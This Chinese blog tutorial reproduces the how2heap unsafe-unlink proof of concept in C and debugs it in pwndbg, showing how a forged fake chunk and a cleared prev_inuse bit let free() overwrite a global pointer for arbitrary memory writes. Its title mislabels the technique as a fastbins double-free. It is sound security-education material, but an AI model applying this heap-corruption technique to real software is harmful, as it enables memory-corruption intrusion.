从零开始学howtoheap:fastbins的double-free攻击实操3

news2024/11/15 18:40:09

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即unsafe unlink。

2.unsafe unlink程序

   
   #include <stdio.h>
   #include <stdlib.h>
   #include <string.h>
   #include <stdint.h>
   
   uint64_t *chunk0_ptr;
   
   int main()
   {
       fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");
       fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");
   
       int malloc_size = 0x80; //要足够大来避免进入 fastbin
       int header_size = 2;
   
       fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
   
       chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
       uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
       fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
       fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
   
       fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
       fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
       chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
       fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
       fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
       chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
       fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);
       fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);
   
       fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");
       uint64_t *chunk1_hdr = chunk1_ptr - header_size;
       fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");
       chunk1_hdr[0] = malloc_size;
       fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
       fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
       chunk1_hdr[1] &= ~1;
   
       fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
       free(chunk1_ptr);
   
       fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
       char victim_string[8];
       strcpy(victim_string,"Hello!~");
       chunk0_ptr[3] = (uint64_t) victim_string;
   
       fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");
       fprintf(stderr, "之前的值是: %s\n",victim_string);
       chunk0_ptr[0] = 0x4141414142424242LL;
       fprintf(stderr, "新的值是: %s\n",victim_string);
   }
   

 3.调试unsafe_unlink

3.1 获得可执行程序 

gcc -g unsafe_unlink.c -o unsafe_unlink

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gcc -g unsafe_unlink.c -o unsafe_unlink
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsafe_unlink
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsafe_unlink...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsafe_unlink 
当您在已知位置有指向某个区域的指针时,可以调用 unlink
最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入

全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060

现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块

现在释放掉 chunk1,会触发 unlink,合并两个 free chunk
此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: BBBBAAAA
[Inferior 1 (process 52) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 申请了两个堆之后

​ unlink有一个保护检查机制,在解链操作之前,针对堆块P自身的fd和bk 检查了链表的完整性,即判断堆块P的前一块fd的指针是否指向P,以及后一块bk的指针是否指向 P。

​ malloc_size设置为0x80,可以分配small chunk,然后定义header_size为2。申请两块空间,全局指针chunk0_ptr指向chunk0,局部指针chunk1_ptr 指向 chunk1。先在main函数上设置一个断点,然后单步走下一步,走到20行。

​ 我们来看一下,申请了两个堆之后的情况。

设置断点 在第21行, 指令 b 21

pwndbg> n
21             fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x6030a0 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x6030a0 ◂— 0x0
 RDI  0x0
 RSI  0x603120 ◂— 0x0
 R8   0x603000 ◂— 0x0
 R9   0xd
 R10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603120 ◂— 0x0
 R11  0x0
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x40074a (main+164) ◂— mov    rdx, qword ptr [rip + 0x20191f]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400739 <main+147>    mov    eax, dword ptr [rbp - 0x28]
   0x40073c <main+150>    cdqe   
   0x40073e <main+152>    mov    rdi, rax
   0x400741 <main+155>    call   malloc@plt <0x400580>
 
   0x400746 <main+160>    mov    qword ptr [rbp - 0x20], rax
 ► 0x40074a <main+164>    mov    rdx, qword ptr [rip + 0x20191f] <0x602070>
   0x400751 <main+171>    mov    rax, qword ptr [rip + 0x201908] <0x602060>
   0x400758 <main+178>    mov    rcx, rdx
   0x40075b <main+181>    mov    edx, chunk0_ptr <0x602070>
   0x400760 <main+186>    mov    esi, 0x400bc8
   0x400765 <main+191>    mov    rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c
   16        fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
   17    
   18        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
   19        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
   20        fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
 ► 21        fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
   22    
   23        fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
   24        fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
   25        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
   26        fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
01:0008│      0x7fffffffe598 ◂— 0x200000080
02:0010│      0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x4005b0 (_start) ◂— xor    ebp, ebp
04:0020│      0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│      0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40074a main+164
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000091
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000020ee1
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> 

3.3.2 利用全局指针chunk0_ptr构造fake chunk来绕过它

接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False的检查,这个检查有个缺陷,就是fd/bk指针都是通过与chunk头部的相对地址来查找的,所以我们可以利用全局指针chunk0_ptr构造fake chunk来绕过它。

再单步走到40行。

pwndbg> b 40
Breakpoint 4 at 0x400947: file unsafe_unlink.c, line 40.
pwndbg> c
Continuing.
全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060

现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块


Breakpoint 4, main () at unsafe_unlink.c:41
41             fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603098 ◂— 0x90
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x90
 RDI  0x2
 RSI  0x400f00 ◂— out    0x8e, al
 R8   0x61
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 ◂— 0x0
 RIP  0x400947 (main+673) ◂— mov    rax, qword ptr [rip + 0x201712]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400947 <main+673>    mov    rax, qword ptr [rip + 0x201712] <0x602060>
   0x40094e <main+680>    mov    rcx, rax
   0x400951 <main+683>    mov    edx, 0x44
   0x400956 <main+688>    mov    esi, 1
   0x40095b <main+693>    mov    edi, 0x400f68
   0x400960 <main+698>    call   fwrite@plt <0x400590>
 
   0x400965 <main+703>    mov    rax, qword ptr [rbp - 0x20]
   0x400969 <main+707>    mov    rdi, rax
   0x40096c <main+710>    call   free@plt <0x400540>
 
   0x400971 <main+715>    mov    rax, qword ptr [rip + 0x2016e8] <0x602060>
   0x400978 <main+722>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c
   36        fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
   37        fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
   38        chunk1_hdr[1] &= ~1;
   39    
   40        fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
 ► 41        free(chunk1_ptr);
   42    
   43        fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
   44        char victim_string[8];
   45        strcpy(victim_string,"Hello!~");
   46        chunk0_ptr[3] = (uint64_t) victim_string;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
01:0008│      0x7fffffffe598 ◂— 0x200000080
02:0010│      0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603090 ◂— 0x80
04:0020│      0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│      0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400947 main+673
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsafe_unlink.c:40
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000602058      0x0000000000602060
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000080      0x0000000000000090
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000020ee1
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> 
pwndbg> x/4gx 0x0000000000602058
0x602058:       0x0000000000000000      0x00007ffff7dd2540
0x602068 <completed>:   0x0000000000000000      0x0000000000603010
pwndbg> x/4gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540      0x0000000000000000
0x602070 <chunk0_ptr>:  0x0000000000603010      0x0000000000000000
pwndbg> 

​ 我们的fake chunk的fd指向0x602058,然后0x602058的bk指向0x602070。fake chunk的bk指向0x602060,然后0x602060的fd指向 0x602070,可以保证前后都指向我们伪造的这个 chunk,完美!

​ 接下来释放掉chunk1,因为fake chunk和chunk1是相邻的一个free chunk,所以会将他两个合并,这就需要对fake chunk进行unlink,进行如下操作:

FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P

这样就通过了 unlink 的检查,最终效果为:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24

也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址,在这个图示中最终实现的效果是ptr中存的是ptr-0x18,如果本来ptr 是存的一个指针的,现在它指向了ptr-0x18。如果编辑这里的内容就可以往ptr-0x18那里去写,实现了覆盖这个指针为任意值的效果。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1444299.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能|推荐系统——基于tensorflow的个性化电影推荐系统实战(有前端)

代码下载&#xff1a; 基于tensorflow的个性化电影推荐系统实战(有前端).zip资源-CSDN文库 项目简介&#xff1a; dl_re_web : Web 项目的文件夹re_sys&#xff1a; Web app model&#xff1a;百度云下载之后&#xff0c;把model放到该文件夹下recommend&#xff1a; 网络模型相…

appears to be hung in Auto SQL Tuning task

appears to be hung in Auto SQL Tuning task Oracle 自动定时优化任务执行失败分析 错误现象&#xff1a; Sat Feb 10 03:10:57 2024 Process 0x0x00007FFB81BE44A8 appears to be hung in Auto SQL Tuning task Current time 1707505857, process death time 1707505803 …

【Linux】make和Makefile

目录 make和Makefile make和Makefile 我们使用vim编辑器的时候&#xff0c;在一个文件里写完代码要进行编译&#xff0c;要自己输入编译的指令。有没有一种可以进行自动化编译的方法——makefile文件&#xff0c;它可以指定具体的编译操作&#xff0c;写好makefile文件&#x…

读千脑智能笔记10_人类智能存在的风险

1. 人类智能存在的风险 1.1. “末日时钟” 1.1.1. 核战争引发的大火列为地球毁灭的主要原因 1.1.2. 气候变化列为人类自我毁灭的第二大潜在原因 1.2. 除非我们刻意加入自私的驱动力、动机或情感&#xff0c;否则智能机器并不会威胁到人类的生存 1.2.1. 人类在不远的将来会…

c语言游戏实战(7):扫雷

前言&#xff1a; 扫雷是一款经典的单人益智游戏&#xff0c;它的目标是在一个方格矩阵中找出所有的地雷&#xff0c;而不触碰到任何一颗地雷。在计算机编程领域&#xff0c;扫雷也是一个非常受欢迎的项目&#xff0c;因为它涉及到许多重要的编程概念&#xff0c;如数组、循环…

MongoDB存储引擎发展及WiredTiger深入解析(二)

在现代的数据管理领域中&#xff0c;MongoDB作为一个高性能、开源的NoSQL数据库系统&#xff0c;已经在全球范围内被广泛应用。而MongoDB背后的存储引擎&#xff0c;作为其数据管理的核心组件&#xff0c;也经历了不断的发展和优化。本文将对MongoDB的存储引擎发展进行简要回顾…

数据结构——6.2 图的存储与基本操作

6.2 图的存储与基本操作 概念 图的存储 邻接矩阵存有向图和无向图 根据邻接矩阵求度&#xff1a; 无向图&#xff1a;第i个结点的度 第i行 (或第列) 的非零元素个数 有向图&#xff1a; 第i个结点的出度 第i行的非零元素个数 第i个结点的入度 第i列的非零元素个数 第i个结…

数据库恢复

文章目录 前言一、事务1.概念2.定义语句3.ACID特性 二、数据库恢复的必要性1.为什么要进行数据库恢复2.数据库恢复机制的作用 三、数据恢复使用的技术1.数据转储2.登记日志文件 四 、不同故障的数据恢复策略1.事务内部的故障2.系统故障3.介质故障 五、具有检查点的恢复技术1.检…

【机器学习笔记】基于实例的学习

基于实例的学习 文章目录 基于实例的学习1 基本概念与最近邻方法2 K-近邻&#xff08;KNN&#xff09;3 距离加权 KNN4 基于实例/记忆的学习器5 局部加权回归5 多种回归方式对比6 懒惰学习与贪婪学习 ​ 动机&#xff1a;人们通过 记忆和行动来推理学习。 1 基本概念与最近邻方…

Cubase学习:音频转midi

大家好!我是诗书画唱!今天要分享的小技巧就是Cubase中的音频转midi的功能!希望对你有所帮助!以后我会在这个账号分享自己知道的很多小技巧!关注我!不迷路!大家也可以关注我后,在我的空间搜索关键词,找到各种对应的教程进行学习,非常的方便!而且自己的教程会尽可能纠…

数据结构~~树(2024/2/8)

目录 树 1、定义&#xff1a; 2、树的基本术语&#xff1a; 3、树的表示 树 1、定义&#xff1a; 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&…

《动手学深度学习(PyTorch版)》笔记8.4

注&#xff1a;书中对代码的讲解并不详细&#xff0c;本文对很多细节做了详细注释。另外&#xff0c;书上的源代码是在Jupyter Notebook上运行的&#xff0c;较为分散&#xff0c;本文将代码集中起来&#xff0c;并加以完善&#xff0c;全部用vscode在python 3.9.18下测试通过&…

C++初阶:适合新手的手撕vector(模拟实现vector)

上次讲了常用的接口&#xff1a;C初阶&#xff1a;容器&#xff08;Containers&#xff09;vector常用接口详解 今天就来进行模拟实现啦 文章目录 1.基本结构与文件规划2.空参构造函数&#xff08;constructor)4.基本函数&#xff08;size(),capacity(),resize(),reserve())4.增…

Android---Jetpack Compose学习002

Compose 布局。Compose 布局的目标&#xff1a;1&#xff09;实现高性能&#xff1b;2&#xff09;让开发者能够轻松编写自定义布局&#xff1b;3&#xff09;在 Compose 中&#xff0c;通过避免多次测量布局子级可实现高性能。如果需要进行多次测量&#xff0c;Compose 具有一…

【MySQL】数据库的基础——数据库的介绍、MySQL的介绍和架构、SQL分类、MySQL的基本使用、MySQL的存储引擎

文章目录 MySQL1. 数据库的介绍1.2 主流数据库 2. MySQL的介绍2.1 MySQL架构2.2 SQL分类2.3 MySQL的基本使用2.4 MySQL存储引擎 MySQL 1. 数据库的介绍 数据库&#xff08;Database&#xff0c;简称DB&#xff09;是按照数据结构来组织、存储和管理数据的仓库。它是长期存储在计…

安装了多个Java版本如何指定特定版本

Java版本问题的实战场景 机器安装了一个JDK 8的安装版本&#xff0c;默认的安装路径是 C:\Program Files\Java&#xff0c;JDK的安装版本同时安装了JDK 和JRE, 安装的路径分别是&#xff1a; JDK 路径&#xff1a; C:\Program Files\Java\jdk1.8.0_361JRE 路径&#xff1a; C…

Java图形化界面编程——菜单组件 笔记

2.7 菜单组件 ​ 前面讲解了如果构建GUI界面&#xff0c;其实就是把一些GUI的组件&#xff0c;按照一定的布局放入到容器中展示就可以了。在实际开发中&#xff0c;除了主界面&#xff0c;还有一类比较重要的内容就是菜单相关组件&#xff0c;可以通过菜单相关组件很方便的使用…

在 Windows上恢复删除照片的 4 种有效方法

您是否曾在 Windows 7/8/10/11 中不小心删除过照片&#xff1f;如何轻松快速地恢复已删除的照片&#xff1f;在这里这篇文章列出了几种在Windows 11/10/8/7中恢复已删除照片的可行方法&#xff0c;而MiniTool数据恢复软件 是丢失照片恢复的最佳选择。 意外删除的照片 根据一项…

【深度学习每日小知识】卷积神经网络(CNN)

在深度学习领域&#xff0c;卷积神经网络&#xff08;CNN&#xff09;彻底改变了视觉分析领域。凭借从图像中提取复杂模式和特征的能力&#xff0c;CNN 已成为图像分类、目标检测和面部识别等任务不可或缺的一部分。本文全面概述了 CNN&#xff0c;探讨了其架构、训练过程、应用…

《CSS 简易速速上手小册》第5章:CSS 动画与过渡(2024 最新版)

文章目录 5.1 CSS 过渡基础&#xff1a;网页的微妙舞步5.1.1 基础知识5.1.2 重点案例&#xff1a;按钮悬停效果5.1.3 拓展案例 1&#xff1a;渐变显示导航菜单5.1.4 拓展案例 2&#xff1a;动态调整元素大小 5.2 关键帧动画&#xff1a;编排你的网页芭蕾5.2.1 基础知识5.2.2 重…